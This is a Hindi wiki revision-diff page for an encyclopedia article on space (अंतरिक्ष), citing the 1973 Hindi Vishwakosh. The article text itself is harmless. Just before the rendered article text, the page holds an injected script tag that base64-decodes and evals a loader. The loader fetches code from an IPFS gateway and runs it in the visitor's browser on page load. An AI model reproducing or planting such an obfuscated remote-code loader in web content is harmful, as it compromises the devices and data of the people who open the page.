"अंतरिक्ष" के अवतरणों में अंतर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
('{{लेख सूचना |पुस्तक नाम=हिन्दी विश्वकोश खण्ड 1 |पृष्ठ स...' के साथ नया पन्ना बनाया)
 
पंक्ति २२: पंक्ति २२:
 
|अद्यतन सूचना=
 
|अद्यतन सूचना=
 
}}
 
}}
'''अंतरिक्ष''' में समस्त भौतिक पिंड, ग्रह, नक्षत्र, नीहारिकाएँ आदि अवस्थित हैं। अंतरिक्ष के जितने भाग का पता चला है उसमें लगभग 19 अरब नीहारिकाएँ होने का अनुमान है। हर नीहारिका में लगभग 10 अरब तारे हैं और एक नीहारिका का व्यास लगभग एक लाख प्रकाश वर्ष है। आपेक्षिकता के सिद्धांत के पूर्व की भौतिकी में अंतरिक्ष को निरपेक्ष (एब्सॉल्यूट) माना गया था। लेकिन आपेक्षिकता के सिद्धांत ने यह सिद्ध कर दिया कि निरपेक्ष अंतरिक्ष का कोई भौतिक अर्थ नहीं होता; इसलिए कि भौतिक वास्तविकता अंतरिक्ष के किसी बिंदु में नहीं होती। अंतरिक्ष की अधिक जानकारी के लिए दिक्काल तथा आपेक्षिकता का सिद्धांत देखा जा सकता है।  
+
'''अंतरिक्ष''' में समस्त भौतिक पिंड, ग्रह, नक्षत्र, नीहारिकाएँ आदि अवस्थित हैं। अंतरिक्ष के जितने भाग का पता चला है उसमें लगभग 19 अरब नीहारिकाएँ होने का अनुमान है। हर नीहारिका में लगभग 10 अरब तारे हैं और एक नीहारिका का व्यास लगभग एक लाख प्रकाश वर्ष है। [[चित्र:58-1.jpg|left|]] आपेक्षिकता के सिद्धांत के पूर्व की भौतिकी में अंतरिक्ष को निरपेक्ष (एब्सॉल्यूट) माना गया था। लेकिन आपेक्षिकता के सिद्धांत ने यह सिद्ध कर दिया कि निरपेक्ष अंतरिक्ष का कोई भौतिक अर्थ नहीं होता; इसलिए कि भौतिक वास्तविकता अंतरिक्ष के किसी बिंदु में नहीं होती। अंतरिक्ष की अधिक जानकारी के लिए दिक्काल तथा आपेक्षिकता का सिद्धांत देखा जा सकता है।  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
<!-- कृपया इस संदेश से ऊपर की ओर ही सम्पादन कार्य करें। ऊपर आप अपनी इच्छानुसार शीर्षक और सामग्री डाल सकते हैं -->  
 
<!-- कृपया इस संदेश से ऊपर की ओर ही सम्पादन कार्य करें। ऊपर आप अपनी इच्छानुसार शीर्षक और सामग्री डाल सकते हैं -->  

१०:०२, ४ मार्च २०१३ का अवतरण

लेख सूचना
अंतरिक्ष
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 45,46
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1973 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक निरंकार सिंह्

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अंतरिक्ष में समस्त भौतिक पिंड, ग्रह, नक्षत्र, नीहारिकाएँ आदि अवस्थित हैं। अंतरिक्ष के जितने भाग का पता चला है उसमें लगभग 19 अरब नीहारिकाएँ होने का अनुमान है। हर नीहारिका में लगभग 10 अरब तारे हैं और एक नीहारिका का व्यास लगभग एक लाख प्रकाश वर्ष है।

आपेक्षिकता के सिद्धांत के पूर्व की भौतिकी में अंतरिक्ष को निरपेक्ष (एब्सॉल्यूट) माना गया था। लेकिन आपेक्षिकता के सिद्धांत ने यह सिद्ध कर दिया कि निरपेक्ष अंतरिक्ष का कोई भौतिक अर्थ नहीं होता; इसलिए कि भौतिक वास्तविकता अंतरिक्ष के किसी बिंदु में नहीं होती। अंतरिक्ष की अधिक जानकारी के लिए दिक्काल तथा आपेक्षिकता का सिद्धांत देखा जा सकता है।

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध


टीका टिप्पणी और संदर्भ